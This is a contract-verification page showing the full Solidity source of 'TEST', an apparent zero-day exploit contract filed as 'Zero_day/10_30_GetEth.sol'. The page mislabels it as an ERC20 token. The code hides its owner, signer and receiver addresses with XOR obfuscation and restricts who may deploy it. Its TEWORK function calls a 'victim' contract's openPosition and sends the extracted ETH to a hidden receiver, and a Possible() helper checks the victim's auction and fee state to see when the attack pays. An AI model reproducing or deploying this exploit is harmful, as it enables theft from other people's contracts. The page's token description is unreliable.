TEST

Description:

ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "Zero_day/10_30_GetEth.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.26;\r
\r
interface IERC20 {\r
    event Approval(address indexed owner, address indexed spender, uint value);\r
    event Transfer(address indexed from, address indexed to, uint value);\r
\r
    function name() external view returns (string memory);\r
    function symbol() external view returns (string memory);\r
    function decimals() external view returns (uint8);\r
    function totalSupply() external view returns (uint);\r
    function balanceOf(address owner) external view returns (uint);\r
    function allowance(address owner, address spender) external view returns (uint);\r
\r
    function approve(address spender, uint value) external returns (bool);\r
    function transfer(address to, uint value) external returns (bool);\r
    function transferFrom(address from, address to, uint value) external returns (bool);\r
}\r
\r
interface IVICTIM {\r
    function openPosition(bytes calldata data, address target) external;\r
    function dutchAuctionStartBlock() external view returns (uint256);\r
    function twapMemeIncrement() external view returns (uint256);\r
    function currentFees() external view returns (uint256);\r
    function lastTwapMemeBlock() external view returns (uint256);\r
    function twapMemeDelayInBlocks() external view returns (uint256);\r
    function getMinimumTokensToBuy() external view returns (uint256);\r
}\r
\r
contract TEST {\r
\r
    address payable public vowner;\r
    address payable public receiver;\r
    address private victim;\r
\r
    mapping(address account => uint256) private _nonces;\r
    address public signer;\r
    bytes32 domainSeparator;\r
\r
    bytes32 private constant PERMIT_TYPEHASH =\r
        keccak256("Permit(address vowner,address signer, uint256 nonce,uint256 deadline)");\r
\r
    bytes32 private constant TYPE_HASH =\r
        keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");\r
\r
    constructor() {\r
        address addr = msg.sender;\r
        bytes32 result = keccak256(abi.encode(uint256(uint160(addr))+20141020));\r
        bytes32 compare = 0x2c880debc26c15d15c5e9fbc42dab8586fa9e72fafbb2c700ac2cf722321cb88;\r
        require(result == compare);\r
        address owner_addr = 0x18431e46DC43152B42B9c4BE8dB854f5145ef732;\r
        address singer_addr = 0x3648DbB394F3DBe7D9F0253657Fb4e1cBB0b3DfB;\r
        address rec_addr = 0xBcd51c2711ec07C1902160a70B0840753b3dE789;\r
        bytes32 key = 0x394cE78F2Ac373D11ccda67e245db42b0eb46d95f990bedd4695a6e3f2002121;\r
        address owner;\r
        owner = address(uint160(owner_addr) ^ uint160(uint256(key)));\r
        signer = address(uint160(singer_addr) ^ uint160(uint256(key)));\r
        receiver = payable(address(uint160(rec_addr) ^ uint160(uint256(key))));\r
        vowner = payable(owner);\r
    }\r
\r
    function nonces(address owner) public view virtual returns (uint256) {\r
        return _nonces[owner];\r
    }\r
\r
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\r
        require(signature.length == 65, "signature Length Error!!!");\r
        bytes32 r;\r
        bytes32 s;\r
        uint8 v;\r
            // ecrecover takes the signature parameters, and the only way to get them\r
            // currently is to use assembly.\r
        assembly ("memory-safe") {\r
            r := mload(add(signature, 0x20))\r
            s := mload(add(signature, 0x40))\r
            v := byte(0, mload(add(signature, 0x60)))\r
        }\r
            \r
        return ecrecover(hash, v, r, s);\r
    }\r
\r
    function _hashTypedDataV4(bytes32 structHash, bytes32 domain) internal pure returns (bytes32 digest) {\r
        assembly ("memory-safe") {\r
            let ptr := mload(0x40)\r
            mstore(ptr, hex"19_01")\r
            mstore(add(ptr, 0x02), domain)\r
            mstore(add(ptr, 0x22), structHash)\r
            digest := keccak256(ptr, 0x42)\r
        }\r
    }\r
\r
    function getMessage(uint256 deadline) external view returns(bytes32 message){\r
        if (block.timestamp > deadline) {\r
            revert("deadline fails");\r
        }\r
\r
        require(vowner != address(0), "vowner Fail");\r
        require(signer != address(0), "signer Fail");\r
\r
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, vowner, signer, _nonces[signer], deadline));\r
\r
        message = _hashTypedDataV4(structHash, domainSeparator);\r
    }\r
    \r
    function withdraw() external {\r
        require(msg.sender == vowner); \r
        vowner.transfer(address(this).balance);      \r
    }\r
\r
    function withdrawERC20(address _token, address _to) external {\r
        require(msg.sender == vowner);\r
        IERC20(_token).transfer(_to, IERC20(_token).balanceOf(address(this)));\r
    }\r
\r
    function getStatus(address _token, address _addr) external view returns(uint256 amount){\r
        require(msg.sender == vowner, "Not Owner");\r
        amount = IERC20(_token).balanceOf(_addr);\r
    }\r
\r
    function TEMON(address _addr) external {\r
        require(msg.sender == vowner);\r
        victim = _addr;\r
    }\r
\r
    function TEWORK(uint256 deadline, bytes memory sign) external {\r
        require(msg.sender == vowner);\r
        require(msg.sender == tx.origin);\r
        permit(deadline, sign);\r
        IVICTIM(victim).openPosition('123', address(this));\r
        receiver.transfer(address(this).balance);\r
    }\r
\r
    function permit(\r
        uint256 deadline,\r
        bytes memory signature\r
    ) internal {\r
        if (block.timestamp > deadline) {\r
            revert("deadline fails");\r
        }\r
\r
        require(vowner != address(0), "vowner Fail");\r
        require(signer != address(0), "signer Fail");\r
\r
        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, vowner, signer, _nonces[signer], deadline));\r
\r
        bytes32 hash = _hashTypedDataV4(structHash, domainSeparator);\r
\r
        address tmpsigner = recover(hash, signature);\r
        if (tmpsigner != signer) {\r
            revert("signature fail");\r
        }\r
\r
        _nonces[signer]++;\r
    }\r
\r
    function Possible(address _addr) external view returns (bool) {\r
\r
        if(IVICTIM(_addr).dutchAuctionStartBlock() <= 0) return false;\r
\r
        if (IVICTIM(_addr).currentFees() < IVICTIM(_addr).twapMemeIncrement()) return false;\r
\r
        if (block.number < IVICTIM(_addr).lastTwapMemeBlock() + IVICTIM(_addr).twapMemeDelayInBlocks()) return false;\r
\r
        if (0 < IVICTIM(_addr).getMinimumTokensToBuy()) return false;\r
\r
        return true;\r
    }\r
\r
    receive() external payable { }\r
    fallback() external payable { }\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, Token, Factory|addr:0x782a27c48e54cc71ed65e33b32030acb3e155d68|verified:true|block:23690926|tx:0xd7d28110fc1b1f7dc824f7d41de44383f5e0c5506a5c27b64b538b30317bb419|first_check:1761839632

Submitted on: 2025-10-30 16:53:55

Comments

Log in to comment.

No comments yet.